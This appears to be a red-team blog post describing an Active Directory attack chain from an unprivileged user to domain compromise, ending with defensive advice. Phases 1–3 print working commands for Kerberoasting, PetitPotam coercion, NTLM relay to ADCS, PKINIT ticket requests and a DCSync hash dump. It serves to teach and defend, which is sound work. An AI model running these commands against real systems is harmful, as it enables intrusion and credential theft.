
Zero to Domain Admin: Chaining Kerberoasting, Unconstrained Delegation, and ADCS ESC8
Dissecting how internal red teams navigate modern Active Directory environments: from initial unprivileged domain access to complete forest compromise via certificate services.
The Resilience of Legacy Architecture
Despite the rise of cloud identity providers, over 90% of Global Fortune 1000 enterprises continue to rely on on-premises Active Directory (AD) for core enterprise identity.
Because Active Directory environments accumulate decades of legacy configurations, backwards compatibility settings, and forgotten service accounts, internal red teams routinely demonstrate that obtaining domain administrator privileges takes less than 48 hours from a standard workstation port.
Here is a technical teardown of an exploit chain our red team executed during a recent financial sector assessment.
---
Phase 1: Kerberoasting Service Principal Names (SPNs)
Upon securing access to an unprivileged standard domain user account, we ran an automated query for user accounts configured with a Service Principal Name (SPN):
# Query domain for Kerberoastable user accounts
GetUserSPNs.py corp.local/jdoe:Password123! -dc-ip 10.0.0.5 -request
When a domain user requests access to a service (e.g. MSSQL, IIS), the Domain Controller issues a Kerberos Ticket Granting Service (TGS) ticket encrypted with the password hash of the service account.
Because any valid domain user can request a TGS ticket for any registered SPN, we extracted the RC4-encrypted ticket offline and fed it to a distributed GPU hash-cracking cluster. Within 4 hours, an over-privileged service account with a 10-character password was cracked: svc-sqlreporting.
---
Phase 2: Exploiting Active Directory Certificate Services (ADCS) ESC8
Holding svc-sqlreporting, we discovered that the organization had deployed Active Directory Certificate Services (ADCS) with HTTP enrollment endpoints enabled without Extended Protection for Authentication (EPA).
This exposed the classic ESC8 vulnerability chain:
- Coercing Authentication: Using PetitPotam (MS-EFSRPC) or PrinterBug (MS-RPRN), we coerced the primary Domain Controller machine account (
DC01$) to authenticate back to our relay listener:
python3 PetitPotam.py -u svc-sqlreporting -p 'CrackedPass!' 10.0.0.50 10.0.0.5- NTLM Relay to ADCS Web Enrollment: Our listener (
ntlmrelayx.py) intercepted the NTLM authentication fromDC01$and relayed it directly to the ADCS HTTP enrollment server (http://ca.corp.local/certsrv/). - Requesting a Domain Controller Certificate: The CA accepted the relayed NTLM authentication and issued a valid X.509 machine certificate authenticating
DC01$.
---
Phase 3: Forest Compromise via DCSync
Holding the cryptographic certificate for DC01$, we requested a Kerberos Ticket Granting Ticket (TGT) using PKINIT:
gettgtpkinit.py corp.local/DC01\$ -cert-pfx dc01.pfx dc01.tgt
Using the minted TGT, we executed a DCSync attack, impersonating the Domain Controller to replicate password hashes from the AD database (ntds.dit), capturing the krbtgt master hash and achieving complete domain dominance.
---
The Strategic Defenses That Stop the Chain
- Enforce Extended Protection for Authentication (EPA) on ADCS: Disable HTTP enrollment endpoints or mandate EPA and HTTPS with SMB signing enabled across the entire estate.
- Privileged Access Workstations (PAWs): Domain Admins must never log onto standard workstations where their credentials can be harvested from LSASS.
- Managed Service Accounts (gMSA): Replace user-based service accounts with group Managed Service Accounts, ensuring 128-character randomized passwords that rotate automatically every 30 days.